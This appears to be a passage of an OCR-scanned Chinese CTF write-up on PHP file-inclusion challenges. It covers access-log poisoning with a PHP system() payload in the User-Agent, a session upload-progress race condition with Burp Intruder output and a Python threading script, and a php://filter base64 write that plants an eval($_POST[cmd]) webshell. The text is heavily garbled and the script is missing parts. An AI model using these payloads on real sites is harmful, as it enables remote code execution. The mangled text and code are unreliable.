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H&E X84 ?file=/Narllog/nginx/access.log
apache2: /var/log/apache2/access.log
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BV 4 B RUser-Agentffifs B
Request
Raw | Params | Headers | Hex

Response

Raw | Headers | Hex | Render

GET /#file=ivarflog/nginx/access.log HTTR/1.1

Host: 7620c522-e6e8-49bb-a7 c8-3c1638ace224. chall.ctf show:8080
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4, x64) AppleWebkit/537.36 (KHTML,
like Gecko) Chrome/88.0.4324.182 Safari/537.36 Edg/88.0.705.74

Accept:

text/html application/xhtml+xml application/xml;g=0.9 imagefwebp imagefapng *™,q=0.8,
application/signed-exchange;w=h3,q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CM zh;q=09 en q=0.8,en-GB;q=0.7 en-US;q=0.6

Connection: close

B A\php3Cft, #iTgetshell
Uén_a|-_Agent: <?php sy.stem('cat flog.phpY); 2=
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session k= 4

\

HTTP/ 1 200 OK

Content-Type: text/html; charset=UTF-8
Date: Sat, 27 Feb 2021 12:44:05 GMT
Server: nginx/1.16.1

X-Powered-By: PHP7.3.11

Connection: close

Content-Length: 511

e

172.12.0.60 - - [27/Fehb/2021:12:33:17 +0000] "GET / HTTP/1.1" 200 2291
"http:/[7620c522-e6eB 49bb-a7 c5-3c1638ace224.chall.ctf.show:B080/" "Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36
Edyg/88.0.705.74"

1.1" 200 284 ™"

+

"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

0, BEEY

Chrome/88.0.4324.182 Safari/537.36 Edg/88.0.705.74"

EVIETY

A5 ) 15 0L 7 2 — IR

)

https://blog.csdn.net/weixin_45669205/article/details/113709363
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1. session X HFHI iy &3 A2 :

sess_[PHPSESSIDHI{H]

2. session3 BN BEE
linux:/tmp BX, /var/lib/php/session
Windows: C:\WINDOWS\Temp
3. session.use_strict_ modeERiME MO, BFF P 2 LLE B X Session ID
tbim, IATIFECookie B i BPHPSESSID=flag, PHP¥<:7E IR 45 2% LA E — AN /tmp/sess_flag
4. EEBINEH T, session.upload_progress.cleanup@FF /B 1, —EBiEE T rEPOSTHE, CHMaiERiEERERE (RH%MH

T RATIXFE L)

< IDOCTYPE html>

action="

>

type="

name='
N
N

' name="

type="
type="

value="

method=" enctype="



Attack type: [ Sniper

POST F HTTPM 1

Host: 1d293ab7-cB61-4845-9ead-BedIeBeachB2. chall. ctf show: 3080

Content-Length:; 305

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://127.0.0.1

Content-Type: multipart/form-data; boundary=----WebkKitFormBoundaryWIBgSErHRY AvnZ19

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/B88.0.4324 182 Safari/537 .36 Edg/BE8.0.705.74
Accept: text/html application/xhtml+xml application/xml;q=0.9 image/webp image/apng */*,q=0.8 application/signed-exchange;v=h3;q=0.9

Referer: http:/M27.0.0.1/

Accept-Encoding: gzip, deflate

Accept-lLanguage: zh-CN zh;q=0.9 en;g=0.8,en-GB;q=0.7 en-US;q=0.6

Cookie:PHPSESSID=flag
Connection: close

—————— WebkKitFarmBoundaryWIBqS8rHRY Avn2I19
Content-Disposition: form-data; name=|"PHP_SESSION_UF’LOAD_PROGRESS"I

§1235<?php systemn(s’; 7=
------ WebkitFarmBoundaryWIBqS8rHR'Y Avn219
Content-Disposition: form-data; name="file"; filename=
Content-Type: application/octet-stream

------ WebKitFormBoundaryWIBgqS8rHRY Avn2|3--

#n—/~Cookie: PHPSESSID=flag
}#7EPHP_SESSION_UPLOAD PROGRESS F¥RiI—iEA L

PHP# £ 7E R 5538 E I —ANSiE S0 ftmplsess_flag  GX BLBRA 1S Msession sz BRI\ A7 A A2 B J/tmp)
7E 8 B T 34T ?file=/tmp/sess_flagts 2 33

Attack type: [ Sniper

GET [?file=ftmp/sess_flag HTTR/M .1

Host: 1d293ab7-cB61-4845-9ead-BedIe8eachB2. chall. ctf. show: 8080

Cache-Caontrol: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla5.0 (Windows NT 10.0; WinG4; x64) AppleWebKit/537 .36 (KHTWML, like Gecko) Chrome/B8.0.4324.182 Safari/537.36 Edg/88.0.705.74
Accept: text/html application/xhtml+xml application/xml;q=0.9 image/webp image/apng *™ q=0.8 application/signed-exchange;v=h3;q=0.9

Referer: http:/f1d293ah7-c661-4845-9ead-GedIeBeachi2. chall ctf. show: 8080/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN zh;q=0.9 en;q=0.8 en-GB;q=0.7 en-US;q=06

Connection: close
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Intruder attack 2 - o x ntruder attack - O X
Attack Save Columns Attack Save Columns
jResults Target | Positions TPay\oads TOpuons 1 Results | Target | Positions Tpﬂv‘ﬂﬁdﬁ TOPUHHS w
‘ Filter: Showing all items |® ‘ Filter: Showing all items |@
Request | Payload |Status | Error | Timeout | Length ¥| Comment Request | Payload | Status | Emor | Timeout | Length v | Comment
487 486 502 (8] o m a0 200 ] O
587 586 502 3] o om 1 0 200 3] [ 3364
1304 1303 502 3] o m 2 1 200 =] [ 3364
1031 1030 200 | g 3 2 200 (] [ 3364
1143 1142 200 O O s 4 3 200 o o
1281 1280 200 (] [ 516 5 4 200 O [ 3364
169 168 200 (] [ &5 6 5 200 o O 334
342 341 200 ()] [ s15 7 6 200 O [ 3364
371 370 200 =] 0 st5 8 7 200 3] [ 3364
424 423 200 =] 0 st5 Al 8 200 3] [ 3364
Request | Response Request | Response




Raw | Headers | Hex | Render

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8
Date: Sat, 27 Feb 2021 14:40:26 GMT
Server: nginx/1.16.1

X-Powerad-By: PHP/T.3.11

Connection: close

Content-Length: 332

upload_progress_1041fl0g.php
index.php

|a:5:{s:10:"start_time"i:

614436826;5:14:"content_length™;i:327;5:15:"hytes_processed";i:327;s:4:"done";b:0;s:!

+error;i:0;s:4:"done";b:0;s:10:"start_time

i ]

Attack Save Columns

Rau | Headers | Hex | XL | Render |
< (HTTP/1.1200 OK _:
P (Content-Type: text/html; charset=UTF-8
Date: Sat, 27 Feb 2021 14:32:55 GMT
Server: nginx/1.16.1
X-Powered-By: PHP/7.3.11
Connection: close
Content-Length: 3179
<code><span style="color: #)00000">
<span style="color: #0000BB">&1t;? php<br /><br f></span><span style="calor: #FFB000">/*<hr
74 />#&nbsp;-*-&nbsp i B&nbsp;-*-<br l 1xa<hr
. 15: 09 p;11:25:09<br
Txa<hr
1ifi 09. p;19:34:45<br come<hr
com<br /><br />*/<br f><br f><br f></span><span style="color. #007700" >if(isset(</span><span
k. |style="color: #0000B8">$_GET</span><span style="colar. #007700">[</span><span style="color. #DD0000">Tile"</span><span [v
0 matches 0 matches
1418 of 100001 I It ST hein

Intruder attack 3

Attack Save Columns

JRequts Target | Positions IPaonads [ommns ]

[Resuns Target | Positions Tpay\nads TOpUnns }

‘ Filter: Showing all items

[©

‘ Filter- Showing all items

@

Request | Payload | Status | Ermor | Timeout| Length | Comment Request | Payload | Status | Error | Timeout | Length v | Comment
776 75 200 5] [ 1367 [&] 1746 1745 404 [3] [ 15891 [5]
868 867 200 =] o ms 0 200 U g
955 954 200 =] o ms 1 0 200 @] 0 3364
962 961 200 =] o ms 2 1 200 @] 0 3364
1211 1210 200 =] o ms 3 2 200 @] 0 3364
1320 1319 200 =] o 7s 4 3 200 ()] [ 3364
1549 1648 200 =] o 7s 5 1 200 ()] [ 3364
90 89 200 =] o 4 6 5 200 ()] [ 3364
237 236 200 =] o 4 7 6 200 ()] [ 3364
332 331 200 =] o 4 v 8 7 200 ()] [ 3364 ]
Request | Response Request | Response
Raw | Headers | Hex | Render Raw | Params | Headers | Hex
" [&|POST/HTTP/TA N
#-*- coding: utf-8 - I [Host: 1d293ak7-c661-4845 9ead-BeddeBearbB2 chall ctf. show 8080
#@Author: hixa Content-Length: 336
#@Date: 2020-03-16 11:24:37 Cache-Control: max-age=0
#@Last Modified by: hixa Upgrade-Insecure-Requests: 1
#@Last Modified time: 2020-09-16 11:25:00 Crigin: http:/127.0.0.1
#@email: h1xa@ctfer com Content-Type: data; boundary=- biitF ormBoundary WIBgqS8rHRY Avn2|9
#@link: https:fictfer com User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64) AppleWebKit/537 38 (KHTML, like Gecko) Chrome/88.0. 4324 182 Safari/a37 36
Edg/88.0.705.74
N Accept: text/html I+xml ml;q=0.9 image/wehp | 7 qE0 8, change;=b3;q=0.9
Referer http://127.0.0.1/
Accept-Encoding: gzip, deflate
$flag="ctfshow{s692 15d9-6140-419c-393c-BbceB792ccd ) |5 {s 10:"start_time";i- 1614437068, s:14:"content_length”,i:337;s:15: "bytes_pro Accept-Language: zh-CN,zh q=0.9 en:q=08,en-GB:q=0 7 en-US;q=0.6
cessed"” 337 514 done" a0 5:5: files" & 1o 0 a7 {50 10: field_name"; s:4:"file"; s:4: "name " 5:0:"" 5:8: "trp_name"; N;5:5: " error; 1:0; 5:4: "dan Cookie:PHPSESSID=flag
"b:0;5:10 "start_time";i:1614437058;s 15 "bytes_processed";i337;}}} ] Connection: close
L [r
@ =2 2] [1wea search tem amatches|@ [ < ||+ |[>] ™ 0 matches
1606 of 100001 [ 1791 0f 100001 —

lonmartE [ 5 i 2 .



import io
import requests

import threading

sessID

url

def write(session):
while event.isSet():

f io.BytesIO(b 1024 * 50)

response = session.post(
url,
cookies={
data={
files={

def read(session):
while event.isSet():

response = session.get(url . (sessID))

if in response.text:
print(response.text)
event.clear()

else:
print(

if _ _name__

event = threading.Event()

event. @)
with requests.session() as session:
for i in (1, 30):
threading.Thread(target=write, args=(session,)).start()

for i in (1, 30):
threading.Thread(target=read, args=(session,)).start()

LTSt

https://xz.aliyun.com/t/8163#toc-3
https://www.leavesongs.com/PENETRATION/php-filter-magic.html

file put_contents(urldecode($file), .$content);

B A Edie()8exit(), FEEERMBRIIBEAN—A)E, BHPITAT .
base64% 15 51t

FIFbase64f#his, KIt T ARG KA, [E15php5| ET0iEIR A
e F D Ui L HE & 57 5 NI 301 . php

php://filter/write=convert.base64-decode/resource=1.php




K AFEAE urldecode($file) AT PLH Eurl W gmhl

%625%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%
32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%3
2%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25

%636%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%
64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30

POSTARL:

<?php eval($ POST[cmd 2>

B Abase64 R IG R Z4 M byte— 4, BT A fh in24~a”— L8N 2R XFE, "phpdieaa"# 1IE % @5, Wi mEAIMENK
webshellffibase64 25 4 IE & f#ig . 45 Rt <?php die; 2>BE T .

W R phpexitah R E# 14 a

& Load URL %33%61%25%32%66%25%32%66%25%36 ~
| %36%25%36%39%25%36%63%25%37 %34
& Spit URL %25%36%35%25%37%32%25%32%66%25

@ Execute
Postdata [] Referer [] User Agent
[] Cookies Add Header Clear All

content=aaPD9waHAgZXZhbCgkX1BPUTRLY 21X SK7ICAFg==
5 19 1.php B AT

& L0ad URL http://8840d476-0287-436b-

a26a-4a54669c1984.chall.ctf.show:8080/1.php
& split URL

@ Execute
Postdata [] Referer [] User Agent
[ ] Cookies Add Header Clear All

cmd=system('cat fl0g.php');
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